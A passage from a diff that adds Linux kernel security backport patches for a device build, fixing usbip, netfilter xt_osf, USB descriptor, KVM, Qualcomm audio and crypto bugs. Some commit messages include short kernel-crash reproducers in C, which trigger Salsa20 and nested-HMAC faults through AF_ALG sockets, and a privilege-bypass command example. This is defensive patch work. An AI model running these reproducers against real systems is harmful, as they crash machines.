allocations. Add checks to validate transfer_buffer_length +and number_of_packets to protect against bad input requesting for +unbounded memory allocations. Validate early in get_pipe() and return +failure. + +Reported-by: Secunia Research +Signed-off-by: Shuah Khan +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/usbip/stub_rx.c | 30 +++++++++++++++++++++++++++--- + 1 file changed, 27 insertions(+), 3 deletions(-) + +diff --git a/drivers/usb/usbip/stub_rx.c b/drivers/usb/usbip/stub_rx.c +index 2e07acda456e..f5533c99cd48 100644 +--- a/drivers/usb/usbip/stub_rx.c ++++ b/drivers/usb/usbip/stub_rx.c +@@ -341,11 +341,13 @@ static struct stub_priv *stub_priv_alloc(struct stub_device *sdev, + return priv; + } + +-static int get_pipe(struct stub_device *sdev, int epnum, int dir) ++static int get_pipe(struct stub_device *sdev, struct usbip_header *pdu) + { + struct usb_device *udev = sdev->udev; + struct usb_host_endpoint *ep; + struct usb_endpoint_descriptor *epd = NULL; ++ int epnum = pdu->base.ep; ++ int dir = pdu->base.direction; + + if (epnum < 0 || epnum > 15) + goto err_ret; +@@ -358,6 +360,7 @@ static int get_pipe(struct stub_device *sdev, int epnum, int dir) + goto err_ret; + + epd = &ep->desc; ++ + if (usb_endpoint_xfer_control(epd)) { + if (dir == USBIP_DIR_OUT) + return usb_sndctrlpipe(udev, epnum); +@@ -380,6 +383,27 @@ static int get_pipe(struct stub_device *sdev, int epnum, int dir) + } + + if (usb_endpoint_xfer_isoc(epd)) { ++ /* validate packet size and number of packets */ ++ unsigned int maxp, packets, bytes; ++ ++#define USB_EP_MAXP_MULT_SHIFT 11 ++#define USB_EP_MAXP_MULT_MASK (3 << USB_EP_MAXP_MULT_SHIFT) ++#define USB_EP_MAXP_MULT(m) \ ++ (((m) & USB_EP_MAXP_MULT_MASK) >> USB_EP_MAXP_MULT_SHIFT) ++ ++ maxp = usb_endpoint_maxp(epd); ++ maxp *= (USB_EP_MAXP_MULT( ++ __le16_to_cpu(epd->wMaxPacketSize)) + 1); ++ bytes = pdu->u.cmd_submit.transfer_buffer_length; ++ packets = DIV_ROUND_UP(bytes, maxp); ++ ++ if (pdu->u.cmd_submit.number_of_packets < 0 || ++ pdu->u.cmd_submit.number_of_packets > packets) { ++ dev_err(&sdev->udev->dev, ++ "CMD_SUBMIT: isoc invalid num packets %d\n", ++ pdu->u.cmd_submit.number_of_packets); ++ return -1; ++ } + if (dir == USBIP_DIR_OUT) + return usb_sndisocpipe(udev, epnum); + else +@@ -388,7 +412,7 @@ static int get_pipe(struct stub_device *sdev, int epnum, int dir) + + err_ret: + /* NOT REACHED */ +- dev_err(&sdev->interface->dev, "get pipe, epnum %d\n", epnum); ++ dev_err(&sdev->udev->dev, "CMD_SUBMIT: invalid epnum %d\n", epnum); + return -1; + } + +@@ -453,7 +477,7 @@ static void stub_recv_cmd_submit(struct stub_device *sdev, + struct stub_priv *priv; + struct usbip_device *ud = &sdev->ud; + struct usb_device *udev = sdev->udev; +- int pipe = get_pipe(sdev, pdu->base.ep, pdu->base.direction); ++ int pipe = get_pipe(sdev, pdu); + + if (pipe == -1) + return; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0337-f749066bec40-usbip fix stubsendretsubmit vulnerability to null.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0337-f749066bec40-usbip fix stubsendretsubmit vulnerability to null.patch new file mode 100644 index 0000000..b774dfc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0337-f749066bec40-usbip fix stubsendretsubmit vulnerability to null.patch @@ -0,0 +1,41 @@ +From f749066bec4019a7a5f7eee22b56314958161c1e Mon Sep 17 00:00:00 2001 +From: Shuah Khan +Date: Thu, 7 Dec 2017 14:16:50 -0700 +Subject: usbip: fix stub_send_ret_submit() vulnerability to null + transfer_buffer + +commit be6123df1ea8f01ee2f896a16c2b7be3e4557a5a upstream. + +stub_send_ret_submit() handles urb with a potential null transfer_buffer, +when it replays a packet with potential malicious data that could contain +a null buffer. Add a check for the condition when actual_length > 0 and +transfer_buffer is null. + +Reported-by: Secunia Research +Signed-off-by: Shuah Khan +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/usbip/stub_tx.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/usb/usbip/stub_tx.c b/drivers/usb/usbip/stub_tx.c +index 021003c4de53..af858d52608a 100644 +--- a/drivers/usb/usbip/stub_tx.c ++++ b/drivers/usb/usbip/stub_tx.c +@@ -178,6 +178,13 @@ static int stub_send_ret_submit(struct stub_device *sdev) + memset(&pdu_header, 0, sizeof(pdu_header)); + memset(&msg, 0, sizeof(msg)); + ++ if (urb->actual_length > 0 && !urb->transfer_buffer) { ++ dev_err(&sdev->udev->dev, ++ "urb: actual_length %d transfer_buffer null\n", ++ urb->actual_length); ++ return -1; ++ } ++ + if (usb_pipetype(urb->pipe) == PIPE_ISOCHRONOUS) + iovnum = 2 + urb->number_of_packets; + else +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0338.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0338.diff new file mode 100644 index 0000000..bb7ac9f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0338.diff @@ -0,0 +1,18 @@ +diff --git a/mm/pagewalk.c b/mm/pagewalk.c +index 94c6272..12417f5 100644 +--- a/mm/pagewalk.c ++++ b/mm/pagewalk.c +@@ -118,8 +118,12 @@ + do { + next = hugetlb_entry_end(h, addr, end); + pte = huge_pte_offset(walk->mm, addr & hmask); +- if (pte && walk->hugetlb_entry) ++ ++ if (pte) + err = walk->hugetlb_entry(pte, hmask, addr, next, walk); ++ else if (walk->pte_hole) ++ err = walk->pte_hole(addr, next, walk); ++ + if (err) + return err; + } while (addr = next, addr != end); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0339.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0339.diff new file mode 100644 index 0000000..52cf51a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0339.diff @@ -0,0 +1,14 @@ +diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c +index 4470b9f..0ea7de2 100644 +--- a/kernel/bpf/verifier.c ++++ b/kernel/bpf/verifier.c +@@ -996,7 +996,8 @@ + regs[insn->dst_reg].type = UNKNOWN_VALUE; + regs[insn->dst_reg].map_ptr = NULL; + } +- } else { ++ } else if (BPF_CLASS(insn->code) == BPF_ALU64 || ++ insn->imm >= 0) { + /* case: R = imm + * remember the value we stored into this reg + */ diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0340-115e3505bbd6-netfilter xtosf Add missing permission checks.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0340-115e3505bbd6-netfilter xtosf Add missing permission checks.patch new file mode 100644 index 0000000..c76a97a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0340-115e3505bbd6-netfilter xtosf Add missing permission checks.patch @@ -0,0 +1,64 @@ +From 115e3505bbd683a01496860646fa632e6533b4e3 Mon Sep 17 00:00:00 2001 +From: Kevin Cernekee +Date: Tue, 5 Dec 2017 15:42:41 -0800 +Subject: netfilter: xt_osf: Add missing permission checks + +commit 916a27901de01446bcf57ecca4783f6cff493309 upstream. + +The capability check in nfnetlink_rcv() verifies that the caller +has CAP_NET_ADMIN in the namespace that "owns" the netlink socket. +However, xt_osf_fingers is shared by all net namespaces on the +system. An unprivileged user can create user and net namespaces +in which he holds CAP_NET_ADMIN to bypass the netlink_net_capable() +check: + + vpnns -- nfnl_osf -f /tmp/pf.os + + vpnns -- nfnl_osf -f /tmp/pf.os -d + +These non-root operations successfully modify the systemwide OS +fingerprint list. Add new capable() checks so that they can't. + +Signed-off-by: Kevin Cernekee +Signed-off-by: Pablo Neira Ayuso +Acked-by: Michal Kubecek +Signed-off-by: Greg Kroah-Hartman +--- + net/netfilter/xt_osf.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/net/netfilter/xt_osf.c b/net/netfilter/xt_osf.c +index c529161cdbf8..99f3146b7337 100644 +--- a/net/netfilter/xt_osf.c ++++ b/net/netfilter/xt_osf.c +@@ -19,6 +19,7 @@ + #include + #include + ++#include + #include + #include + #include +@@ -69,6 +70,9 @@ static int xt_osf_add_callback(struct sock *ctnl, struct sk_buff *skb, + struct xt_osf_finger *kf = NULL, *sf; + int err = 0; + ++ if (!capable(CAP_NET_ADMIN)) ++ return -EPERM; ++ + if (!osf_attrs[OSF_ATTR_FINGER]) + return -EINVAL; + +@@ -112,6 +116,9 @@ static int xt_osf_remove_callback(struct sock *ctnl, struct sk_buff *skb, + struct xt_osf_finger *sf; + int err = -ENOENT; + ++ if (!capable(CAP_NET_ADMIN)) ++ return -EPERM; ++ + if (!osf_attrs[OSF_ATTR_FINGER]) + return -EINVAL; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0341-dd3ad5f60d52-USB core prevent malicious bNumInterfaces overflow.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0341-dd3ad5f60d52-USB core prevent malicious bNumInterfaces overflow.patch new file mode 100644 index 0000000..ce3aa9e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0341-dd3ad5f60d52-USB core prevent malicious bNumInterfaces overflow.patch @@ -0,0 +1,49 @@ +From dd3ad5f60d520da135bf4dce5adcecf400e2db64 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Tue, 12 Dec 2017 14:25:13 -0500 +Subject: USB: core: prevent malicious bNumInterfaces overflow + +commit 48a4ff1c7bb5a32d2e396b03132d20d552c0eca7 upstream. + +A malicious USB device with crafted descriptors can cause the kernel +to access unallocated memory by setting the bNumInterfaces value too +high in a configuration descriptor. Although the value is adjusted +during parsing, this adjustment is skipped in one of the error return +paths. + +This patch prevents the problem by setting bNumInterfaces to 0 +initially. The existing code already sets it to the proper value +after parsing is complete. + +Signed-off-by: Alan Stern +Reported-by: Andrey Konovalov +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/core/config.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/drivers/usb/core/config.c b/drivers/usb/core/config.c +index 1c62d31ed896b..4a9680fe59072 100644 +--- a/drivers/usb/core/config.c ++++ b/drivers/usb/core/config.c +@@ -450,6 +450,9 @@ static int usb_parse_configuration(struct usb_device *dev, int cfgidx, + unsigned iad_num = 0; + + memcpy(&config->desc, buffer, USB_DT_CONFIG_SIZE); ++ nintf = nintf_orig = config->desc.bNumInterfaces; ++ config->desc.bNumInterfaces = 0; // Adjusted later ++ + if (config->desc.bDescriptorType != USB_DT_CONFIG || + config->desc.bLength < USB_DT_CONFIG_SIZE || + config->desc.bLength > size) { +@@ -463,7 +466,6 @@ static int usb_parse_configuration(struct usb_device *dev, int cfgidx, + buffer += config->desc.bLength; + size -= config->desc.bLength; + +- nintf = nintf_orig = config->desc.bNumInterfaces; + if (nintf > USB_MAXINTERFACES) { + dev_warn(ddev, "config %d has too many interfaces: %d, " + "using maximum allowed: %d\n", +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0342.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0342.diff new file mode 100644 index 0000000..274b7ce --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0342.diff @@ -0,0 +1,86 @@ +diff --git a/arch/arm/kvm/mmio.c b/arch/arm/kvm/mmio.c +index c215bb4..43fcb7a 100644 +--- a/arch/arm/kvm/mmio.c ++++ b/arch/arm/kvm/mmio.c +@@ -113,7 +113,7 @@ + } + + trace_kvm_mmio(KVM_TRACE_MMIO_READ, len, run->mmio.phys_addr, +- data); ++ &data); + data = vcpu_data_host_to_guest(vcpu, data, len); + *vcpu_reg(vcpu, vcpu->arch.mmio_decode.rt) = data; + } +@@ -193,7 +193,7 @@ + trace_kvm_mmio((mmio.is_write) ? KVM_TRACE_MMIO_WRITE : + KVM_TRACE_MMIO_READ_UNSATISFIED, + mmio.len, fault_ipa, +- (mmio.is_write) ? data : 0); ++ (mmio.is_write) ? &data : 0); + + if (mmio.is_write) + mmio_write_buf(mmio.data, mmio.len, data); +diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c +index 25e2c4e..5253035 100644 +--- a/arch/x86/kvm/x86.c ++++ b/arch/x86/kvm/x86.c +@@ -4192,7 +4192,7 @@ + !kvm_iodevice_read(&vcpu->arch.apic->dev, addr, n, v)) + && kvm_io_bus_read(vcpu->kvm, KVM_MMIO_BUS, addr, n, v)) + break; +- trace_kvm_mmio(KVM_TRACE_MMIO_READ, n, addr, *(u64 *)v); ++ trace_kvm_mmio(KVM_TRACE_MMIO_READ, n, addr, v); + handled += n; + addr += n; + len -= n; +@@ -4438,7 +4438,7 @@ + { + if (vcpu->mmio_read_completed) { + trace_kvm_mmio(KVM_TRACE_MMIO_READ, bytes, +- vcpu->mmio_fragments[0].gpa, *(u64 *)val); ++ vcpu->mmio_fragments[0].gpa, val); + vcpu->mmio_read_completed = 0; + return 1; + } +@@ -4460,14 +4460,14 @@ + + static int write_mmio(struct kvm_vcpu *vcpu, gpa_t gpa, int bytes, void *val) + { +- trace_kvm_mmio(KVM_TRACE_MMIO_WRITE, bytes, gpa, *(u64 *)val); ++ trace_kvm_mmio(KVM_TRACE_MMIO_WRITE, bytes, gpa, val); + return vcpu_mmio_write(vcpu, gpa, bytes, val); + } + + static int read_exit_mmio(struct kvm_vcpu *vcpu, gpa_t gpa, + void *val, int bytes) + { +- trace_kvm_mmio(KVM_TRACE_MMIO_READ_UNSATISFIED, bytes, gpa, 0); ++ trace_kvm_mmio(KVM_TRACE_MMIO_READ_UNSATISFIED, bytes, gpa, NULL); + return X86EMUL_IO_NEEDED; + } + +diff --git a/include/trace/events/kvm.h b/include/trace/events/kvm.h +index 6edf1f2..8df91de 100644 +--- a/include/trace/events/kvm.h ++++ b/include/trace/events/kvm.h +@@ -183,7 +183,7 @@ + { KVM_TRACE_MMIO_WRITE, "write" } + + TRACE_EVENT(kvm_mmio, +- TP_PROTO(int type, int len, u64 gpa, u64 val), ++ TP_PROTO(int type, int len, u64 gpa, void *val), + TP_ARGS(type, len, gpa, val), + + TP_STRUCT__entry( +@@ -197,7 +197,10 @@ + __entry->type = type; + __entry->len = len; + __entry->gpa = gpa; +- __entry->val = val; ++ __entry->val = 0; ++ if (val) ++ memcpy(&__entry->val, val, ++ min_t(u32, sizeof(__entry->val), len)); + ), + + TP_printk("mmio %s len %u gpa 0x%llx val 0x%llx", diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0343-585e86202dca-msm mdss adjust mdssmdpgetplanesizes parameters init order.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0343-585e86202dca-msm mdss adjust mdssmdpgetplanesizes parameters init order.patch new file mode 100644 index 0000000..114b76d --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0343-585e86202dca-msm mdss adjust mdssmdpgetplanesizes parameters init order.patch @@ -0,0 +1,37 @@ +From 585e86202dca3fb4eddaecbdb5c2c4a7f7cbfdc8 Mon Sep 17 00:00:00 2001 +From: Benjamin Chan +Date: Tue, 14 Nov 2017 00:27:17 -0500 +Subject: msm: mdss: adjust mdss_mdp_get_plane_sizes parameters init order + +Parameter mdss_mdp_plane_sizes must be cleared to 0 before returning +under an error condition, otherwise caller function will use the +uninitialized mdss_mdp_plane_sizes values and caused incorrect +operation. + +Change-Id: I856b17ce9e917cc450040463ec34b7309d34b9b5 +Signed-off-by: Benjamin Chan +--- + drivers/video/msm/mdss/mdss_mdp_util.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/drivers/video/msm/mdss/mdss_mdp_util.c b/drivers/video/msm/mdss/mdss_mdp_util.c +index bffc131..9da0563 100644 +--- a/drivers/video/msm/mdss/mdss_mdp_util.c ++++ b/drivers/video/msm/mdss/mdss_mdp_util.c +@@ -515,11 +515,12 @@ int mdss_mdp_get_plane_sizes(struct mdss_mdp_format_params *fmt, u32 w, u32 h, + if (ps == NULL) + return -EINVAL; + ++ memset(ps, 0, sizeof(struct mdss_mdp_plane_sizes)); ++ + if ((w > MAX_IMG_WIDTH) || (h > MAX_IMG_HEIGHT)) + return -ERANGE; + + bpp = fmt->bpp; +- memset(ps, 0, sizeof(struct mdss_mdp_plane_sizes)); + + if (mdss_mdp_is_ubwc_format(fmt)) { + rc = mdss_mdp_get_ubwc_plane_size(fmt, w, h, ps); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0344.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0344.diff new file mode 100644 index 0000000..d7cce60 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0344.diff @@ -0,0 +1,64 @@ +diff --git a/sound/soc/msm/qdsp6v2/rtac.c b/sound/soc/msm/qdsp6v2/rtac.c +index 00c4e90..f219185 100644 +--- a/sound/soc/msm/qdsp6v2/rtac.c ++++ b/sound/soc/msm/qdsp6v2/rtac.c +@@ -817,6 +817,14 @@ + bytes_returned = ((u32 *)rtac_cal[ADM_RTAC_CAL].cal_data. + kvaddr)[2] + 3 * sizeof(u32); + ++ if (bytes_returned > rtac_cal[ADM_RTAC_CAL]. ++ map_data.map_size) { ++ pr_err("%s: Invalid data size = %d\n", ++ __func__, bytes_returned); ++ result = -EINVAL; ++ goto err; ++ } ++ + if (bytes_returned > user_buf_size) { + pr_err("%s: User buf not big enough, size = 0x%x, returned size = 0x%x\n", + __func__, user_buf_size, bytes_returned); +@@ -1025,6 +1033,14 @@ + bytes_returned = ((u32 *)rtac_cal[ASM_RTAC_CAL].cal_data. + kvaddr)[2] + 3 * sizeof(u32); + ++ if (bytes_returned > rtac_cal[ASM_RTAC_CAL]. ++ map_data.map_size) { ++ pr_err("%s: Invalid data size = %d\n", ++ __func__, bytes_returned); ++ result = -EINVAL; ++ goto err; ++ } ++ + if (bytes_returned > user_buf_size) { + pr_err("%s: User buf not big enough, size = 0x%x, returned size = 0x%x\n", + __func__, user_buf_size, bytes_returned); +@@ -1268,6 +1284,14 @@ + bytes_returned = get_resp->param_size + + sizeof(struct afe_port_param_data_v2); + ++ if (bytes_returned > rtac_cal[AFE_RTAC_CAL]. ++ map_data.map_size) { ++ pr_err("%s: Invalid data size = %d\n", ++ __func__, bytes_returned); ++ result = -EINVAL; ++ goto err; ++ } ++ + if (bytes_returned > user_afe_buf.buf_size) { + pr_err("%s: user size = 0x%x, returned size = 0x%x\n", + __func__, user_afe_buf.buf_size, +@@ -1476,6 +1500,14 @@ + bytes_returned = ((u32 *)rtac_cal[VOICE_RTAC_CAL].cal_data. + kvaddr)[2] + 3 * sizeof(u32); + ++ if (bytes_returned > rtac_cal[VOICE_RTAC_CAL]. ++ map_data.map_size) { ++ pr_err("%s: Invalid data size = %d\n", ++ __func__, bytes_returned); ++ result = -EINVAL; ++ goto err; ++ } ++ + if (bytes_returned > user_buf_size) { + pr_err("%s: User buf not big enough, size = 0x%x, returned size = 0x%x\n", + __func__, user_buf_size, bytes_returned); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0345-ebd52f8b6422-crypto salsa20 fix blkcipherwalk API usage.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0345-ebd52f8b6422-crypto salsa20 fix blkcipherwalk API usage.patch new file mode 100644 index 0000000..98537ae --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0345-ebd52f8b6422-crypto salsa20 fix blkcipherwalk API usage.patch @@ -0,0 +1,92 @@ +From ebd52f8b6422b920b4d1697d90679a2bb4b48a0b Mon Sep 17 00:00:00 2001 +From: Eric Biggers +Date: Tue, 28 Nov 2017 20:56:59 -0800 +Subject: crypto: salsa20 - fix blkcipher_walk API usage + +commit ecaaab5649781c5a0effdaf298a925063020500e upstream. + +When asked to encrypt or decrypt 0 bytes, both the generic and x86 +implementations of Salsa20 crash in blkcipher_walk_done(), either when +doing 'kfree(walk->buffer)' or 'free_page((unsigned long)walk->page)', +because walk->buffer and walk->page have not been initialized. + +The bug is that Salsa20 is calling blkcipher_walk_done() even when +nothing is in 'walk.nbytes'. But blkcipher_walk_done() is only meant to +be called when a nonzero number of bytes have been provided. + +The broken code is part of an optimization that tries to make only one +call to salsa20_encrypt_bytes() to process inputs that are not evenly +divisible by 64 bytes. To fix the bug, just remove this "optimization" +and use the blkcipher_walk API the same way all the other users do. + +Reproducer: + + #include + #include + #include + + int main() + { + int algfd, reqfd; + struct sockaddr_alg addr = { + .salg_type = "skcipher", + .salg_name = "salsa20", + }; + char key[16] = { 0 }; + + algfd = socket(AF_ALG, SOCK_SEQPACKET, 0); + bind(algfd, (void *)&addr, sizeof(addr)); + reqfd = accept(algfd, 0, 0); + setsockopt(algfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); + read(reqfd, key, sizeof(key)); + } + +Reported-by: syzbot +Fixes: eb6f13eb9f81 ("[CRYPTO] salsa20_generic: Fix multi-page processing") +Signed-off-by: Eric Biggers +Signed-off-by: Herbert Xu +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/crypto/salsa20_glue.c | 7 ------- + crypto/salsa20_generic.c | 7 ------- + 2 files changed, 14 deletions(-) + +diff --git a/arch/x86/crypto/salsa20_glue.c b/arch/x86/crypto/salsa20_glue.c +index 399a29d067d6..cb91a64a99e7 100644 +--- a/arch/x86/crypto/salsa20_glue.c ++++ b/arch/x86/crypto/salsa20_glue.c +@@ -59,13 +59,6 @@ static int encrypt(struct blkcipher_desc *desc, + + salsa20_ivsetup(ctx, walk.iv); + +- if (likely(walk.nbytes == nbytes)) +- { +- salsa20_encrypt_bytes(ctx, walk.src.virt.addr, +- walk.dst.virt.addr, nbytes); +- return blkcipher_walk_done(desc, &walk, 0); +- } +- + while (walk.nbytes >= 64) { + salsa20_encrypt_bytes(ctx, walk.src.virt.addr, + walk.dst.virt.addr, +diff --git a/crypto/salsa20_generic.c b/crypto/salsa20_generic.c +index f550b5d94630..d7da0eea5622 100644 +--- a/crypto/salsa20_generic.c ++++ b/crypto/salsa20_generic.c +@@ -188,13 +188,6 @@ static int encrypt(struct blkcipher_desc *desc, + + salsa20_ivsetup(ctx, walk.iv); + +- if (likely(walk.nbytes == nbytes)) +- { +- salsa20_encrypt_bytes(ctx, walk.dst.virt.addr, +- walk.src.virt.addr, nbytes); +- return blkcipher_walk_done(desc, &walk, 0); +- } +- + while (walk.nbytes >= 64) { + salsa20_encrypt_bytes(ctx, walk.dst.virt.addr, + walk.src.virt.addr, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0346-252b343a9789-crypto hmac require that the underlying hash algorithm is unkeyed.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0346-252b343a9789-crypto hmac require that the underlying hash algorithm is unkeyed.patch new file mode 100644 index 0000000..8fb5def --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0346-252b343a9789-crypto hmac require that the underlying hash algorithm is unkeyed.patch @@ -0,0 +1,152 @@ +From 252b343a9789151293ad1da4a1ac0851bf31a22e Mon Sep 17 00:00:00 2001 +From: Eric Biggers +Date: Tue, 28 Nov 2017 18:01:38 -0800 +Subject: crypto: hmac - require that the underlying hash algorithm is unkeyed + +commit af3ff8045bbf3e32f1a448542e73abb4c8ceb6f1 upstream. + +Because the HMAC template didn't check that its underlying hash +algorithm is unkeyed, trying to use "hmac(hmac(sha3-512-generic))" +through AF_ALG or through KEYCTL_DH_COMPUTE resulted in the inner HMAC +being used without having been keyed, resulting in sha3_update() being +called without sha3_init(), causing a stack buffer overflow. + +This is a very old bug, but it seems to have only started causing real +problems when SHA-3 support was added (requires CONFIG_CRYPTO_SHA3) +because the innermost hash's state is ->import()ed from a zeroed buffer, +and it just so happens that other hash algorithms are fine with that, +but SHA-3 is not. However, there could be arch or hardware-dependent +hash algorithms also affected; I couldn't test everything. + +Fix the bug by introducing a function crypto_shash_alg_has_setkey() +which tests whether a shash algorithm is keyed. Then update the HMAC +template to require that its underlying hash algorithm is unkeyed. + +Here is a reproducer: + + #include + #include + + int main() + { + int algfd; + struct sockaddr_alg addr = { + .salg_type = "hash", + .salg_name = "hmac(hmac(sha3-512-generic))", + }; + char key[4096] = { 0 }; + + algfd = socket(AF_ALG, SOCK_SEQPACKET, 0); + bind(algfd, (const struct sockaddr *)&addr, sizeof(addr)); + setsockopt(algfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); + } + +Here was the KASAN report from syzbot: + + BUG: KASAN: stack-out-of-bounds in memcpy include/linux/string.h:341 [inline] + BUG: KASAN: stack-out-of-bounds in sha3_update+0xdf/0x2e0 crypto/sha3_generic.c:161 + Write of size 4096 at addr ffff8801cca07c40 by task syzkaller076574/3044 + + CPU: 1 PID: 3044 Comm: syzkaller076574 Not tainted 4.14.0-mm1+ #25 + Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011 + Call Trace: + __dump_stack lib/dump_stack.c:17 [inline] + dump_stack+0x194/0x257 lib/dump_stack.c:53 + print_address_description+0x73/0x250 mm/kasan/report.c:252 + kasan_report_error mm/kasan/report.c:351 [inline] + kasan_report+0x25b/0x340 mm/kasan/report.c:409 + check_memory_region_inline mm/kasan/kasan.c:260 [inline] + check_memory_region+0x137/0x190 mm/kasan/kasan.c:267 + memcpy+0x37/0x50 mm/kasan/kasan.c:303 + memcpy include/linux/string.h:341 [inline] + sha3_update+0xdf/0x2e0 crypto/sha3_generic.c:161 + crypto_shash_update+0xcb/0x220 crypto/shash.c:109 + shash_finup_unaligned+0x2a/0x60 crypto/shash.c:151 + crypto_shash_finup+0xc4/0x120 crypto/shash.c:165 + hmac_finup+0x182/0x330 crypto/hmac.c:152 + crypto_shash_finup+0xc4/0x120 crypto/shash.c:165 + shash_digest_unaligned+0x9e/0xd0 crypto/shash.c:172 + crypto_shash_digest+0xc4/0x120 crypto/shash.c:186 + hmac_setkey+0x36a/0x690 crypto/hmac.c:66 + crypto_shash_setkey+0xad/0x190 crypto/shash.c:64 + shash_async_setkey+0x47/0x60 crypto/shash.c:207 + crypto_ahash_setkey+0xaf/0x180 crypto/ahash.c:200 + hash_setkey+0x40/0x90 crypto/algif_hash.c:446 + alg_setkey crypto/af_alg.c:221 [inline] + alg_setsockopt+0x2a1/0x350 crypto/af_alg.c:254 + SYSC_setsockopt net/socket.c:1851 [inline] + SyS_setsockopt+0x189/0x360 net/socket.c:1830 + entry_SYSCALL_64_fastpath+0x1f/0x96 + +Reported-by: syzbot +Signed-off-by: Eric Biggers +Signed-off-by: Herbert Xu +Signed-off-by: Greg Kroah-Hartman +--- + crypto/hmac.c | 6 +++++- + crypto/shash.c | 5 +++-- + include/crypto/internal/hash.h | 8 ++++++++ + 3 files changed, 16 insertions(+), 3 deletions(-) + +diff --git a/crypto/hmac.c b/crypto/hmac.c +index 72e38c098bb31..ba07fb6221aee 100644 +--- a/crypto/hmac.c ++++ b/crypto/hmac.c +@@ -194,11 +194,15 @@ static int hmac_create(struct crypto_template *tmpl, struct rtattr **tb) + salg = shash_attr_alg(tb[1], 0, 0); + if (IS_ERR(salg)) + return PTR_ERR(salg); ++ alg = &salg->base; + ++ /* The underlying hash algorithm must be unkeyed */ + err = -EINVAL; ++ if (crypto_shash_alg_has_setkey(salg)) ++ goto out_put_alg; ++ + ds = salg->digestsize; + ss = salg->statesize; +- alg = &salg->base; + if (ds > alg->cra_blocksize || + ss < alg->cra_blocksize) + goto out_put_alg; +diff --git a/crypto/shash.c b/crypto/shash.c +index 17510eaf0a361..73c0653218671 100644 +--- a/crypto/shash.c ++++ b/crypto/shash.c +@@ -24,11 +24,12 @@ + + static const struct crypto_type crypto_shash_type; + +-static int shash_no_setkey(struct crypto_shash *tfm, const u8 *key, +- unsigned int keylen) ++int shash_no_setkey(struct crypto_shash *tfm, const u8 *key, ++ unsigned int keylen) + { + return -ENOSYS; + } ++EXPORT_SYMBOL_GPL(shash_no_setkey); + + static int shash_setkey_unaligned(struct crypto_shash *tfm, const u8 *key, + unsigned int keylen) +diff --git a/include/crypto/internal/hash.h b/include/crypto/internal/hash.h +index a25414ce2898a..9779c35f84540 100644 +--- a/include/crypto/internal/hash.h ++++ b/include/crypto/internal/hash.h +@@ -83,6 +83,14 @@ int ahash_register_instance(struct crypto_template *tmpl, + struct ahash_instance *inst); + void ahash_free_instance(struct crypto_instance *inst); + ++int shash_no_setkey(struct crypto_shash *tfm, const u8 *key, ++ unsigned int keylen); ++ ++static inline bool crypto_shash_alg_has_setkey(struct shash_alg *alg) ++{ ++ return alg->setkey != shash_no_setkey; ++} ++ + int crypto_init_ahash_spawn(struct crypto_ahash_spawn *spawn, + struct hash_alg_common *alg, + struct crypto_instance *inst); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0347-228014b20bd8-KEYS add missing permission check for requestkey destination.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0347-228014b20bd8-KEYS add missing permission check for requestkey destination.patch new file mode 100644 index 0000000..ee95d15 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0347-228014b20bd8-KEYS add missing permission check for requestkey destination.patch @@ -0,0 +1,161 @@ +From 228014b20bd8902b05942ce4db4197ce345296f3 Mon Sep 17 00:00:00 2001 +From: Eric Biggers +Date: Fri, 8 Dec 2017 15:13:27 +0000 +Subject: KEYS: add missing permission check for request_key() destination + +commit 4dca6ea1d9432052afb06baf2e3ae78188a4410b upstream. + +When the request_key() syscall is not passed a destination keyring, it +links the requested key (if constructed) into the 